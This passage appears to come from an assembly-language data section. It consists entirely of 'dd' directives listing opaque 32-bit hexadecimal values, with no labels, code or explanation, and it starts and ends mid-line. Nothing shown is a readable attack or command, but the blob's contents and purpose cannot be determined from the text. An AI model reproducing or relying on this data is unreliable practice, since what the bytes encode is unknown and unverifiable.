31031CE0h, 40F77130h, 0A9B2B8DEh, 4B73018Ah, 8EB9FD44h dd 23A1ED21h, 54C83E80h, 0E0000AFCh, 0BF66154Eh, 7FD7B9B2h dd 4430BAFCh, 2EFEB07Bh, 80038972h, 0C6256BA6h, 924100CBh dd 0B7639788h, 2A008A51h, 0EA8FE8E9h, 0EA168704h, 24EC004Bh dd 1F48614Eh, 0A41A4027h, 0C0D0F5F8h, 91FCAECAh, 2874411Ch dd 64945197h, 35F183A4h, 0F01AB9FFh, 73E2F53Ah, 178500F9h dd 0CA3749Fh, 9041B0Eh, 974D9442h, 12404D8h, 23057199h dd 72751CE5h, 0A5AE8414h, 0B8F95490h, 1CBA0E72h, 0F640F2BFh dd 0DB5F6557h, 7D0C9B7Bh, 91AE6431h, 0EC484E63h, 0AC201385h dd 0A1C69022h, 77D7F18Ch, 9ADEBD8h, 39904CFDh, 25C93007h dd 9BAC4974h, 0D81B9010h, 0D1A02404h, 58901F67h, 0E8366181h dd 0BBEC0084h, 0FFD33142h, 18571360h, 488D0098h, 86D4D595h dd 1AAC4467h, 749E4F00h, 70F8F675h, 0C0A6EEBCh, 5BBB8171h dd 5D134F53h, 3AC7E55h dd 13AF0074h, 46A60EC2h, 40246016h, 9A0A848Ch, 76002C49h dd 4C5E159Eh, 31370BCAh, 0A41BF274h, 747FE022h, 0EA58989Eh dd 143205BDh, 101C139Bh, 0C4497C95h, 30F41E85h, 8F951C94h dd 0C8B3D402h, 0C68770DFh, 0BA589Ch, 54311A00h, 47B6BF51h dd 0A205917Ch, 0E428965Eh, 209CB022h, 3ED1268Dh, 0C0A20600h dd 93899F52h, 0A150663h, 76921788h, 92B8D649h, 3C3C7212h dd 5999609Dh, 0F6A2A0Dh, 0B425E100h, 6F2973DCh, 0B9060AD0h dd 43B894E5h, 39A0BF60h, 0F8ED1A01h, 0ED00DD70h, 61AE1F22h dd 0B8976992h, 0E0F34C14h, 6B58B582h, 0C8D37C98h, 7130C749h dd 5B5C12F0h, 78DC0D8h, 5C94589Eh, 0E5078C22h, 0E5B64F31h dd 152C9ECEh, 988E0Dh, 852422B3h, 0F83B7C8h, 0BD5FFB87h dd 0B46F3380h, 0C5033A94h, 70D52B6Dh, 89B076B5h, 46C76BCh dd 0AE646FD3h, 0C3FA3040h, 0F0005B80h, 0ACC4D4E9h, 383CFBF3h dd 0DD3F736Eh, 857EA980h, 5416D8DAh, 137A07ECh, 0F373600Ch dd 0BD21DFh, 0DB694B9Fh, 45D499AEh, 391AAF00h, 0C971B9EFh dd 17FD0CCCh, 431D912h, 924CD500h, 0FB65509Dh, 69983B85h dd 934D9500h, 308A7CCFh, 0C8636F00h, 3ECA1E4Bh, 847D01A2h dd 485D043h, 6402D031h, 0EF588700h, 0FC57A092h, 6FA30651h dd 28390FEAh, 462B4500h, 29564095h, 7F28FAA4h, 0B463001Eh dd 0DA27AA4Ch, 1A337DA1h, 0B34E5953h, 1840A684h, 183A95EAh dd 0CB3E7BEFh, 626A0030h, 0A752E306h, 995D0688h, 7101FD9Ah dd 0C90C640Ch, 504187h, 5876E4EEh, 8F2FAB8Eh, 0A814620Ch dd 39B2052h, 5E1B3EA0h, 5DB07349h, 7C0C2A20h, 4003B4C5h dd 0AA81078Fh, 0B05A78C6h, 156924E8h, 34802100h, 0F31DECE1h dd 5E520038h, 32A25394h, 3D0C7177h, 0D1C8954Dh, 92811539h dd 17C4A462h, 234E423Dh, 9B78847Eh, 0A3FAE840h, 0AE01B767h dd 8804ED49h, 9980B6C5h, 0ECC82E5h, 0D50031A0h, 61F0D173h dd 0CDD9B01h, 0B8270C30h, 0D897071Eh, 95AB0A7Eh, 408C4D4Fh dd 70116765h, 8C64323Ah, 0C092B229h, 51FB3045h, 18AE5B80h dd 1648DA00h, 70C78263h, 7E677D1Eh, 1AC60092h, 0E2C26B19h dd 0EB003FE5h, 0DF05A214h, 789125Ah, 88F4629Ah, 1A0980BAh dd 0B900F9C4h, 879B41D1h, 1B5130h, 8443D52Fh, 8FBAE746h dd 0D6778001h, 0B77ED9C0h, 2AB948BBh, 32A26A4h, 3B01918Ch dd 705DD790h, 5B5814F0h, 46037199h, 0C972C0D5h, 0DD6C90A8h dd 44CF00F1h, 57FB2789h, 0E0CCA07h, 0A1E98F77h, 0E2220339h dd 0CC96E394h, 0FCF0BAF9h, 3C00C248h, 9184522Dh, 0C235344h dd 0E1F49440h, 0FE88AA98h, 0CFB23BCEh, 50CA0498h, 8D009EBAh dd 0A6C9242Fh, 3A6568BEh, 63174BC6h, 180A030Eh, 0A803217Ch dd 0EA307212h, 53380010h, 0E0C7F671h, 8C00B78Eh, 0DB67787Fh dd 69F8ADh, 4B5AE2B6h, 0A717B3Ch, 247DF61Dh, 44552601h dd 0D180DE8Fh, 0E1AC282h, 0FFC4B2Fh, 4701CD98h, 0A0D85E3h dd 0C3DC49CBh, 18E8E089h, 78AD7DF3h, 0FB180CC1h, 89D931A2h dd 88723Ah, 78468CEFh, 0F8AE81CBh, 8AB95303h, 0AC2BA2h dd 8C52B629h, 0B32F8003h, 0C204AA15h, 5DB10084h, 6B5E07A5h dd 3FF00A51h, 17EC7EC4h, 417D19BFh, 0A027E86Dh, 55F5C800h dd 222C66E6h, 0DF84008Eh, 8DFC101Eh, 9778F2ACh, 38B86404h dd 0C3C7A30Ch, 88BB12D0h, 0AB0B0ACBh, 805447B4h, 599DFEE8h dd 0B124C707h, 8A1D2C71h, 57709400h, 0EC302F44h, 0B0260177h dd 0C2B3F52h, 66488ECCh, 0BA8746CAh, 4F8000A0h, 0F7FA6321h dd 0B1547BC9h, 28307290h, 0EC56E95Ch, 9B19C078h, 0EF8D2211h dd 0B91CAE00h, 0E3C5B638h, 844D29DEh, 0FAB30558h, 0E1E780A2h dd 0F7015D64h, 302B4432h, 0CC41D328h, 9C25A163h, 56F240E2h dd 39C324D5h, 12BD00E5h, 0D40A0852h, 0B853F276h, 15FF26BCh dd 71A18102h, 0D0E1E1E4h, 2725C24h, 61840279h, 0F8829553h dd 0CF23DB05h, 0D54100C9h, 6ADF59E9h, 0A20E742Dh, 0BDCEB36Ch dd 0ED0CDDC5h, 71B7E437h, 0C90A3CBAh, 65C09C64h, 30B60A6Dh dd 4DC9F663h, 0CA00DB99h, 0FBEA0D4Eh, 3134E5h, 0FDEB1B9Bh dd 32F4C5F9h, 0BF285A09h, 8F7C03E7h, 0B7A101A8h, 449AC71Ch dd 52BB7011h, 25F9DE05h, 0FC354802h, 3E208437h, 0A3BE751h dd 0A91DEBABh, 0FF9807F3h, 56295075h, 0C98399Ah, 22605448h dd 4A721B1Ch, 8B0B1FAh, 20904BBDh, 4467C8AEh, 80AFF78Ah dd 3EF2C8E1h, 0B0EC2416h, 52BCBE04h, 0C08A3D85h, 81FC67D0h dd 8F767FC9h, 0A0259029h, 159A174Eh, 58F40030h, 0F659B475h dd 1E5034DBh, 9006D10h, 87B3D7EFh, 6098071Dh, 282F18EDh dd 3706BB94h, 21B8DF29h, 712B0031h, 0E2D3D5B4h, 5F78773Bh dd 80882240h, 7400295Bh, 47F981B9h, 18F7DB39h, 402C3E43h dd 720B0277h, 87E5502Fh, 0F01CB37h, 0F883603Ah, 0E8ABBADh dd 270140D8h, 5C579400h, 5FE68F30h, 759D0015h, 5BCBD2Fh dd 1100EE4Bh, 0F55A581h, 2A28220Ch, 1E54BBDFh, 0F2464F29h dd 52ED1B0h, 705DDC98h, 2AC7D443h, 14A10005h, 0AA9D7A0Fh dd 82E4E8A6h, 0DC90010Dh, 2D40E016h, 457F93h, 5A1B9E55h dd 92689903h, 0A9A5780Dh, 0DFF08830h, 6504593h, 660071E7h dd 0EDDBAAAEh, 7C0656h, 83E1D9BEh, 0C49A2759h, 6F3513Eh dd 38292862h, 85C30091h, 0DD5CDBFEh, 0B4A83691h, 7200891Dh dd 0D05820F7h, 30C5AE29h, 0B869F379h, 0CF00A0F5h, 43D2B7D6h dd 1B412B24h, 413B900Bh, 0ED7EF2F0h, 0E6F85506h, 57194D72h dd 0C30CB093h, 1AC9E796h, 29207032h, 80BCB026h, 511D22ADh dd 336D1600h, 0F94134FBh, 0E6EAB4h, 99E404D7h, 90A7AF66h dd 1C494A60h, 5B8C8Dh, 5718B462h, 21039B1Dh, 9C178114h dd 3C3A7AE8h, 0E5C05491h, 0F6383300h, 7AFB305Dh, 11F0579h dd 40FDB470h, 45A30FF0h, 4A1CB7ECh, 0A0094EEEh, 50502CADh dd 0CC5E52B8h, 3201F522h, 0DCB5376Ch, 63CCF114h, 0FEB2008Ch dd 57E5736Bh, 751CA454h, 0D146D62h, 76F4098Ch, 0ED540435h dd 40D16080h, 258204D2h, 91157517h, 0D9CAF704h, 9D0E002Fh dd 0D47C336Dh, 0E1012698h, 0D9B344A1h, 0F0D58FE9h, 65629185h dd 829A8079h, 0BB1B23ABh, 0D2E96E36h, 1D1E03D0h, 1886C907h dd 66A332FDh, 0E8F7C143h, 0F64D3FD8h, 87C4917Bh, 0E39584E2h dd 76B94FE9h, 7842244h, 2DF73BB0h, 60154302h, 83C15Dh dd 207538FEh, 7C860366h, 7773A900h, 3D475F70h, 114937Dh dd 0BAAC0EAEh, 7493F275h, 0BF5F0AE0h, 0B8307660h, 1DA58525h dd 84B4B1BDh, 9139B6F7h, 8EE41E74h, 20763BD1h, 0FC0C1299h dd 30BCAE52h, 0E295C1Dh, 680034F0h, 0ADDF45E9h, 74BB9C4h dd 1C24C8D6h, 42418E87h, 2291DE0Ah, 6CFF00E0h, 648F070Fh dd 1E43160Bh, 0E64F093Fh, 28B26018h, 11007AFEh, 0CDA84195h dd 0F03CBBh, 88C475F6h, 616487ECh, 1DA4514Ch, 207977h dd 8EF1962Fh, 7EBA7DD0h, 8924CE03h, 0E8112223h, 38F53979h dd 7426EBC4h, 99046EC4h, 91C091E0h, 308C2432h, 2423DE07h dd 0A3505C0Bh, 1D2C3Dh, 8B3FF859h, 38F75258h, 900D898h dd 82786D99h, 9B25EE56h, 0DF2E0244h, 412F21BFh, 94C7A810h dd 5460ED45h, 0F935C84h, 394CC2BDh, 67143033h, 5713F910h dd 840C6FC8h, 3AD1935h, 48893C76h, 4EB8C5C2h, 72010C46h dd 9F9BC325h, 9891759Ah, 73A1F8Ch, 28E9E218h, 68FC0ACEh dd 80CCDE90h, 0C51C347Fh dd 0CB00560Ah, 40665DD9h, 4C49D85Ah, 6C460806h, 4CC5913Eh dd 58076A64h, 528E9E97h, 2E5EB9F0h, 20A2014Ch, 6996CBB8h dd 841DA2Ch, 49C98030h, 52AB7684h, 32EAF6h, 0E4073D89h dd 0FD78191h, 479F4B00h, 0C821D38h, 0F18B0508h, 84D3C16Ch dd 4930C054h, 0B090F8FDh, 4572E718h, 92031559h, 918C006Ch dd 6A5FF95Ch, 0CD00C4E6h, 0B8FD2D7Ah, 5CA55781h, 252CC25Dh dd 629E364h, 1F1E413Eh, 7B4024DCh, 68EFE5E6h, 1601F296h dd 8D91B45h, 78A688D8h, 708F0C8Ah, 0AB7D3A00h, 0E284ECh dd 7A13A845h, 0F6F3E629h, 7B86A500h, 5AB2A198h, 0F71609D9h dd 58A012C8h, 0D2436F99h, 968E4A9h, 139C41Ch, 0D77CEB9Eh dd 17F47925h, 0D66FB270h, 0DBD0010Ch, 4D0E204Bh, 589C27B1h dd 1E750C04h, 28C11Bh, 8CE8DEB2h, 58DA53C5h, 98C48B00h dd 75AEA69Bh, 3860BB35h, 9BC917Dh, 2420C391h, 75740D0Bh dd 94DAAD00h, 70B8BB40h, 2BF12687h, 11542640h, 9DB50225h dd 0E007ED9Fh, 88508470h, 28A16B1Ah, 0C7215h, 418312C4h dd 282E3442h, 448C570Fh, 9248C37Ch, 813484B4h, 4CF7BCDCh dd 0C9C745Fh, 81B9899Ah, 46199500h, 0C762E01h, 1DAC2637h dd 0DE9A4084h, 9909CBDBh, 8ECAE50Eh, 143E282h, 82A49B86h dd 488044AFh, 5480A891h, 0C1D008CAh, 0F8BCD900h, 0A759C03h dd 0C67102B2h, 10BCB27h, 1E52446Ch, 24E70080h, 0DD84C17Fh dd 0A8FC0009h, 21FA02B2h, 0B73B73BEh, 38DE8723h, 0BB45B837h dd 270FA820h, 540D5981h, 200B897Bh, 58EA879Ch, 84366300h dd 49A32927h, 2CDF40A9h, 2FA1F71Dh, 0A8984834h, 5110097h dd 4CF4AE31h, 1B76C1A0h, 515C7800h, 262C8BD9h, 16249068h dd 20797D85h, 0FDBCFFE8h, 0D2475000h, 0B65886E0h, 0AC4B7F70h dd 0B4ACCh, 6BF76370h, 0F000145h, 0B66DF6ACh, 0A01BBADEh dd 5EBF6Ch, 943B6B72h, 811F8C50h, 9113A09Bh, 73909827h dd 595F5AA7h, 3A8B8489h, 3191F803h, 75332900h, 8E99F249h dd 0A5C900C7h, 0F67A36EFh, 1E004F3Bh, 9272464h, 7FDD91C8h dd 0B0384C5Ch, 479D8603h, 1C926A25h, 0EF0FB453h, 9A07A228h dd 984A0EEh, 7978748Bh, 15EB088h, 2725936Eh, 283B43F7h dd 67088EC8h, 0CDC4C52Dh, 76C52097h, 943AF098h, 2EBFE2B4h dd 39231221h, 3BADF064h, 3A925BBBh, 0C5044475h, 101E0BD4h dd 0A971B0h, 854D8C2h, 0A91F39Dh, 8ACE2F00h, 0CDC3A8FBh dd 958C106Bh, 6DC85057h, 72AEAD44h, 0FB70AB07h, 0F524E7E0h dd 809914C1h, 17D5036h, 6259E3Ah, 36341897h, 540F2E40h dd 0EC6707E1h, 8C0E598Fh, 0D0280164h, 7D3645A8h, 2AC1AA13h dd 0DBFEEC20h, 0E0C00008h, 0D16932E4h, 0BE3AF847h, 559F8027h dd 80A4ACECh, 1DA512BDh, 0D2891DB2h, 0ED8CD97Bh, 221E113Bh dd 91AD9050h, 0E0580077h, 19089552h, 1D30C702h, 0E5C8211Ah dd 58123975h, 0A2B64280h, 3649A8FDh, 7AD650Bh, 14280B7Fh dd 1218D6D0h, 0B0C4906Dh, 7002FD2Ah, 0D506C738h, 0C388B075h dd 71576296h, 8CA0FA44h, 2EDB34D8h, 855ECD00h, 1F4C5DF6h dd 623D022Ah, 0B6C126A1h, 65726C50h, 8C6C5F24h, 0F91ECD43h dd 0C22C461h, 40D06D11h, 0F11FC57Ch, 6655DF97h, 95FDC494h dd 0BCE9CA83h, 29EF0082h, 45155884h, 78532EE2h, 6DE3C030h dd 0D34C3E35h, 0DDB400F6h, 0AF5B8F74h, 0C051AF0h, 5D0E41BCh dd 10D80D8h, 0BF767BA1h, 8220B8DEh, 84105A1h, 1DC06056h dd 0F09D2807h, 1CB62244h, 69E17764h, 45A30E40h, 4896AFB8h dd 4D8EA585h, 0A93F600Dh, 0C629BC1h, 0C28800Ch, 5A00A119h dd 666B7A6Fh, 1C8D6Eh, 1570E6C1h, 331B4AB9h, 0B412AEE2h dd 6C0E50F5h, 231040DCh, 13732C5Fh, 88120AADh, 0D600CB60h dd 0B34EA102h, 1FBB8C03h, 964449Dh, 0EC020F6Bh, 982A2184h dd 28531EE3h, 92AA19h, 0ECD182A6h, 86B25506h, 202EB79h dd 0F234BC2Dh, 110738Dh, 95F464Eh, 0AE082444h, 9EB01D4Ch dd 0F7002F6Ch, 8C63A5C0h, 0A4612494h, 48FB12E8h, 0A0B10DA0h dd 66112EBEh, 0AF827B9h, 9C07292Bh, 7E5B6580h, 797A23h dd 2E124858h, 0BBC71CA6h, 4195910Fh, 3215EEF2h, 0C49C9465h dd 6820F180h, 98AD1EFDh, 99218069h, 7D3DFA6Ah, 804A00B8h dd 0F02BBC2Ch, 0F8442076h, 7BD52F00h, 93B9AD95h, 203E00C9h dd 0AE23E405h, 0A53CD1E7h, 841F2484h, 0E5279840h, 5352079Bh dd 0D35B4FDEh, 0DA909E81h, 0F48E469h, 77F70350h, 89768059h dd 0D9E4D146h, 0C32E2E08h, 0F49A5010h, 9EBBF788h, 0AC3AB82Ch dd 843E0C54h, 148A9922h, 88B98128h, 0B8B228DAh, 1154E852h dd 495491D0h, 4DFC9DF0h, 46C88B00h, 89243AC5h, 0ECA34975h dd 0CF9584C0h, 0A13199BBh, 0F0CBD8E1h, 4FDB421h, 0B99B6458h dd 0AD7C6074h, 0BEE89D32h, 6D4D39h, 1E2B5C06h, 227FBF7h dd 0F2FC5494h, 78EEBA51h, 87290E0Eh, 22E4941Dh, 0BAC325BCh dd 0A1289890h, 8C057F1Eh, 4878C2CBh, 2D0A48Ch, 43B303Dh dd 0C4CE0B71h, 9ECA75Ch, 843DDC42h, 8F4053DCh, 2078336Eh dd 0EA72BB00h, 70D47669h, 0BF400239h, 0F2E23D45h, 280E2CECh dd 0B50F6807h, 4FA8D4C4h, 0D0656C44h, 5289A144h, 0B8A7FCD8h dd 1C540074h, 4B509B48h, 9E0480BEh, 0DBCF62Eh, 0E37B78C0h dd 0C7F0A232h, 87C38900h, 547138EAh, 49203400h, 2521E76Ah dd 0D0195F95h, 2273E077h, 3CCE8880h, 3008BE9h, 1A080C7Dh dd 0CF09D01Ch, 6A3E8437h, 0B00815Ch, 0FC24869Bh, 9CB1587Dh dd 0F851DDB2h, 0EE8EE000h, 0E2E979h, 0B428F2F3h, 207DF0D9h dd 0B930C40Bh, 7C78AACFh, 7099A564h, 0A286D839h, 773D293Dh dd 95948271h, 7B7AEA93h, 0B9C30B6Ch, 8E803464h, 9926A176h dd 0A63EF901h, 0CC91103Ah, 4054AE1Fh, 11A1BA59h, 8CA83491h dd 8376CB55h, 170FC09h, 0FAE498ADh, 61BF000Fh, 0DF31CF2Bh dd 29022A57h, 0FFDDBD96h, 4640CE19h, 119C57A2h, 0F714F4A0h dd 99CE84CAh, 0C625B91h, 0AC9A2022h, 6102BA8Eh, 794648C8h dd 0C33924F6h, 42F0B234h, 681DD557h, 16448B5Eh, 1488E53Ch dd 26CE618h, 38B01482h, 0A640D3BCh, 5E09E842h, 41A991C8h dd 6066286Ch, 102CC200h, 6442D9E7h, 0B1DD02FCh, 3C2469C0h dd 90CBF4h, 33796578h, 5B6D2EECh, 0C638437Ch, 0D0A0C9FDh dd 1B24019Ch, 279FBB94h, 0B7846832h, 502757A8h, 114F1B60h dd 23F73909h, 0C193F400h, 4748B201h, 0F83ED42Ah, 82EA6A3Bh dd 6BF724A4h, 95FCC97Fh, 0F2797710h, 1BB998A8h, 0BFC9A600h dd 7C54ACABh, 929D0C69h, 29AE2361h, 5872E3h, 0CC4CEE0Ah dd 1C148B60h, 879FA43Ch, 0C061BEA0h, 0EE5791BFh, 44C9B0BCh dd 0F130040h, 9D8BB3E6h, 3F3FD1C4h, 8F2880E9h, 0FAD3F608h dd 676F4F22h, 0DC38795Ch, 4309B574h, 0E8900F37h, 213E24h dd 445CEB75h, 0D0AFE119h, 57132307h, 0D9C7B1DFh, 28B82FF1h dd 0C8013022h, 0D4E25AB5h, 915430CCh, 0E8680F89h, 5F76F0C1h dd 5088220Ah, 0F91347B8h, 9C201F32h, 68BF6Eh, 608B1016h dd 0B8D20361h, 0BC0B0400h, 0D451923Fh, 6F980993h, 800BC166h dd 0EE226501h, 0BC72D285h, 7E33D904h, 6CDC8460h, 1A184492h dd 7CA47252h, 8139846Fh, 3A43F60Fh, 191E118Ch, 2103B619h dd 78E9AA3Dh, 73CCA894h, 0E080B677h, 7FDA0C5h, 46026E0Fh dd 44010BB4h, 0F3A5007Ch, 0CC6F2D24h, 0F14C49C8h, 95CE0E10h dd 0C8C1776Dh, 0B215F7AEh dd 0E6DB0084h, 0FC30203Dh, 0A6FE17D3h, 30485C34h, 0A198AED8h dd 0B509A078h, 8187BFE6h, 91DEFFBCh, 0B1896C47h, 10C8F838h dd 0D4751759h, 306499AAh, 7FE49520h, 201E212Fh, 4B8539A0h dd 0B2DB0092h, 6C109E5Ch, 67760E8Ah, 7AE8D40Bh, 0EA5C1C37h dd 797D38h, 710EDFAEh, 83526B6Fh, 0C9294F04h, 78E49991h dd 87DF2827h, 0B3661758h, 0FBC49880h, 1E0C7600h, 298FBB99h dd 0C47D0026h, 7109AD49h, 58B9CEF7h, 8BFC0B15h, 26C8C726h dd 0D65A0194h, 842395D8h, 1E471A79h, 8C5CE8D1h, 0A2446414h dd 5C4CD0h, 25D9ED74h, 3C4BAE6h, 0FEE02FDh, 2AA89508h dd 767A2E4Eh, 0EC0215F0h, 75790E5Ah, 0F4CC4E80h, 7AFCA8F1h dd 0FAAE0EBBh, 8B65D50Bh, 25D8B385h, 24DC4535h, 0A86C157Ch dd 9012D121h, 74C62020h, 76E70037h, 0D0C8338Ah, 0F0994421h dd 0FA569200h, 1696B045h, 3022A4Ch, 7B87D2C8h, 94D6F2CFh dd 619380B9h, 0FE26F880h, 3017C12Eh, 9D99C401h, 242D3530h dd 0D18EE488h, 0D9432223h, 0B9C6E2F2h, 58C2E19Ch, 74AF59B4h dd 81B882A4h, 504429h, 0A1CC2DC9h, 0D735FBE3h, 817DC177h dd 48A2AD00h, 3BA33460h, 41D89479h, 2A84DF37h, 77DD828h dd 4265C2F0h, 261320CCh, 6C03B4DFh, 0C7CAE595h, 270AB9C6h dd 0FCE4438h, 0BBAEC090h, 0A07B0926h, 5D0D0BEBh, 92C42476h dd 5244495Ch, 6CE600E0h, 26D2F52Ah, 0B413139Ch, 0B0489119h dd 113E8E05h, 549AA980h, 64EEE461h, 38606D2Eh, 5A5C10ADh dd 0C32D00D1h, 0FCCAAE24h, 0B8B33504h, 6C88F812h, 15F304E9h dd 0C82AD1A7h, 39000778h, 0B9229612h, 27067Fh, 9EF7C997h dd 149A16D8h, 0B4400C00h, 0DF218CFAh, 0AC3099BBh, 1C18C944h dd 8B2F1176h, 4CDCE7h, 0A6EFE456h, 85EEE1C5h, 42AA6617h dd 3B2748D8h, 5F80EDA1h, 720271F1h, 0C49C7D25h, 59E6E50Ch dd 670C0080h, 9966D906h, 0AD4AA5BDh, 18882012h, 6CDF0008h dd 87D1288Bh, 0B902D2C0h, 0A8AB3C0Fh, 0E68CB9B2h, 3C912EA7h dd 2820D2A2h, 7C47581h, 5B38C1B4h, 0A834CB84h, 710FE200h dd 6A82961Fh, 93349880h, 98E2074Ch, 82DC5A6Dh, 0EC9B0711h dd 0A3A3482h, 70000C53h, 4C6BF60Ch, 0B4924866h, 7B285807h dd 704D3B42h, 0C9791119h, 0AE88383Ch, 0C8C78445h, 843491E8h dd 64E47970h, 9B250067h, 0FAAAA31Bh, 0D00E7DB9h, 0A027B4D6h dd 9C10EA94h, 66790CC2h, 53690D28h, 0F3C82600h, 32A22F94h dd 67760020h, 0D88D4B50h, 364EDE64h, 1831C069h, 6880086Ch dd 61E6AD43h, 0A9F624EEh, 9D254F0Eh, 0D47780AFh, 0A1F4D22Ch dd 26126CA8h, 28A6CC71h, 84E4BF08h, 0F5370A1Ah, 51E80748h dd 639103D6h, 1D9B00B4h, 0DABB5699h, 3ECC279Ah, 284D18B6h dd 70C84A5Ch, 2BD60737h, 70A8385Ch, 0DAE01E54h, 79167896h dd 98ADAC90h, 64E2007Fh, 0DD9C6DB1h, 1A00F648h, 5D68D951h dd 1385119Fh, 0D1B169A5h, 1122BF84h, 402E771Ah, 2064ADE0h dd 16249584h, 0C787305Fh, 108BDE87h, 1F73360Ch, 2CC67D13h dd 51D502F4h, 585C03ECh, 10C90112h, 8CC73C62h, 7B43003Ah dd 0A3143C54h, 16B8D053h, 0A4C9A8ECh, 28662BD2h, 9E9B990Bh dd 2C088E80h, 0B4FDC8CEh, 4774080Ch, 6401594h, 0D1F85382h dd 3B280004h, 296BF00Bh, 0EB09C636h, 232C9E25h, 0A210374Ch dd 0BBDCE8B7h, 77084E6h, 1B46758h, 2987341Eh, 0A8416A8h dd 0E44D5DC4h, 21446C54h, 29500394h, 4CE9CD5Ah, 0F459DFAAh dd 0B4713703h, 1E392AE1h, 0EE3C90B0h, 5B74DAh, 54713FE7h dd 0F84CCC08h, 41DC5E54h, 0A2B0C354h, 0BC2FAD20h, 64CA40B8h dd 8C00028Eh, 6A2CACC4h, 5F900Bh, 0F5E3DF60h, 791A3CB5h dd 0AFC7C601h, 12AE9454h, 18ECE1CAh, 0F00C7871h, 0B81CB629h dd 0CE808B00h, 0B87C01CBh, 2F8E320Eh, 400D4F1Bh, 904A55A1h dd 0BF9C048h, 0F9089138h, 14AF8307h, 29A30DF0h, 89583296h dd 1866AC50h, 0F09BF7Ch, 887507FCh, 4CA7A8C4h, 0C8F4022Ch dd 915CB97Eh, 13008844h, 45E8D9BCh, 14AB051Ah, 0ACBB9CACh dd 77184077h, 8F0D0C05h, 0D0F0C6E3h, 0CB290126h, 32E7F121h dd 3483339h, 716BC5E4h, 4D7DE047h, 0B0780E4Fh, 473F20ADh dd 466C732Fh, 0E58585Fh, 0C9C83F0Ah, 1F4D0354h, 80CB7622h dd 4B8D6C70h, 41C89D52h, 622C8098h, 623087D0h, 0DAD958E1h dd 0E9BC60FEh, 72012A64h, 512CA238h, 96919028h, 8B0C88h dd 25E352Eh, 71859DDCh, 5300A772h, 0F0506C68h, 209E2629h dd 640A8AE7h, 2454C2DCh, 0CAA2043Ah, 0D0A01604h, 0B9060C8Eh dd 9F110C76h, 0D090F728h, 0E8C9F62Ch, 0D062124Eh, 299C10CEh dd 0BB92A8C2h, 720F003Fh, 6A0F9862h, 2175A5D3h, 279D1671h dd 6B005062h, 0C4A2123Eh, 997C6AC3h, 4476C213h, 7F607C90h dd 18D7725h, 19D633Ch, 2C0F0989h, 659A8080h, 0AE69D1h dd 0FD2734CDh, 0B54263Eh, 292AAA00h, 947BE07h, 54125076h dd 0BBEC063Fh, 0D82443CAh, 4C34405Bh, 0CE27C580h, 207A5B56h dd 5021E248h, 0C370ABFEh, 0FE6C5900h, 0A5809FB4h, 80FD586Fh dd 1D36517h, 66382938h, 0BE5180CAh, 0B3217362h, 89AC74A0h dd 347915h, 13D2F9E5h, 139A4BD9h, 39E32E8h, 4644A0BFh dd 1937898h, 0A13E1C0Ah, 0A600B996h, 40632204h, 0EE20C1E8h dd 8A98C0h, 125D9572h, 0D2BEC3F0h, 45A4428h, 7FDD9D00h dd 2CA2CEA7h, 942A0030h, 7B1B2959h, 1C07A6D1h, 2397DE04h dd 0E843D310h, 19CA6034h, 8E8D6677h, 220C13Eh, 431375FCh dd 4DC4A0A5h, 3D3B9B5Ch, 995AACBh, 0FC52B861h, 4180B09Ah dd 0AEA19E15h, 22C5DF05h, 6800230Fh, 383919E0h, 0D345809Fh dd 0DF108404h, 344A21BEh, 0AE11B0h, 4427C012h, 19820B5h dd 0DD0F31FCh, 0E4F4BBD8h, 6D138526h, 0E8D23B89h, 427CC691h dd 7D11096Bh, 918483A5h, 302105F0h, 0F707390h, 88D3C3D4h dd 0A8776F4h, 96F04744h, 3C482091h, 0EFE87F95h, 0A968A600h dd 0ED458005h, 1BB9034Bh, 0C7DEF4FCh, 0A480D0BAh, 0E6B34971h dd 81AC764Ch, 4A9B98AEh, 5CB84EC8h, 3532D895h, 9C406471h dd 13023474h, 91A1270h, 84C8A9DAh, 18CA5564h, 0E72B8400h dd 0B17FAC0Bh, 7C003679h, 0FF1EADE2h, 7C711688h, 0B68DB8C4h dd 0C4D824FCh, 8094E812h, 83B6DBBCh, 6476DAh, 0F2DEB00Dh dd 75E29722h, 0B53C9EFEh, 2AACD82Ah, 9122A007h, 7CE0A25Ch dd 9EA78344h, 77B1D507h, 28C287Ah, 9D1B7112h, 40146662h dd 0C2413C23h, 0B80D6420h, 97154E40h, 93708074h, 710E2A34h dd 20C7FAD1h, 0A95FAC9Ah, 54FB5DEEh, 40DD9185h, 0B8774994h dd 0C5F0E3CCh, 5FC39200h, 248C615Ch, 0EC514848h, 47F5390Eh dd 0A1283560h, 0E200FA53h, 0A3A0A598h, 74504D82h, 0B9E12CBh dd 642809E3h, 0F0956480h, 42E85ACCh, 299D03Ch, 0D8B8613Eh dd 4E207607h, 0B50C7080h, 1800B20Ah, 40D7628h, 0FF7C9D2h dd 0BB1FD145h, 2C13CC8Eh, 0A0862764h, 98D76A14h, 0D0664C2Ch dd 44105FC4h, 0D4B57976h, 97F0B8F9h, 41C1EED7h, 3964C10Ch dd 409124E0h, 0A59BD040h, 0FE970036h, 9EA26E16h, 58AECE6h dd 548376C8h, 1504FCDEh, 99B94004h, 44A525h, 2A52CE77h dd 77D2919h, 81401C96h, 73D5006h, 20D72E32h, 0E313E080h dd 0D931C3CCh, 6BE6193Ch, 121C5F3Eh, 0FE0A4BDh, 1AA32804h dd 0B0C37120h, 76AFA91Eh, 8B80C038h, 0B83CEF79h, 63115807h dd 5270DFA4h, 52D804E4h dd 7E079478h, 60A708C1h, 6F5F702Bh, 7CBBEC94h, 0F31D010Fh dd 1371C0BDh, 1EFB996Bh, 91C0D93h, 0F05A392Dh, 2190AE0Fh dd 9BCC01B8h, 2AD1E8BDh, 1900982Dh, 0BB50C763h, 0AD0106D0h dd 0DE48FC75h, 684157BEh, 8078115Ah, 0C0F8BA84h, 22FCC8D9h dd 1400B6B8h, 0D4E8A2F9h, 4B52082h, 5F0DAD85h, 14E0A274h dd 16CC2EE1h, 3831A170h, 387C9CC3h, 47002494h, 95A82C4Dh dd 9005263Fh, 28D12343h, 805D084h, 14043E09h, 2CE2A207h dd 16E9E01h, 80CF880Fh, 4002B560h, 24BDF0FDh, 415C7129h dd 3E2052A2h, 1C9EB470h, 3942006Fh, 30548197h, 0BB580514h dd 1E080079h, 0ECCC7B28h, 0B18C1373h, 69488155h, 83502287h dd 8028C0F3h, 0B236562h, 6FA63BEAh, 813CFCA0h, 6B60C380h dd 27892F81h, 86954CDh, 21843885h, 0D01D9B96h, 4523FDCCh dd 0CBA59107h, 0D87224A9h, 0BF744077h, 1150270h, 2F1D6637h dd 20651600h, 0F0170139h, 4312CA6Fh, 0F80606Bh, 88292724h dd 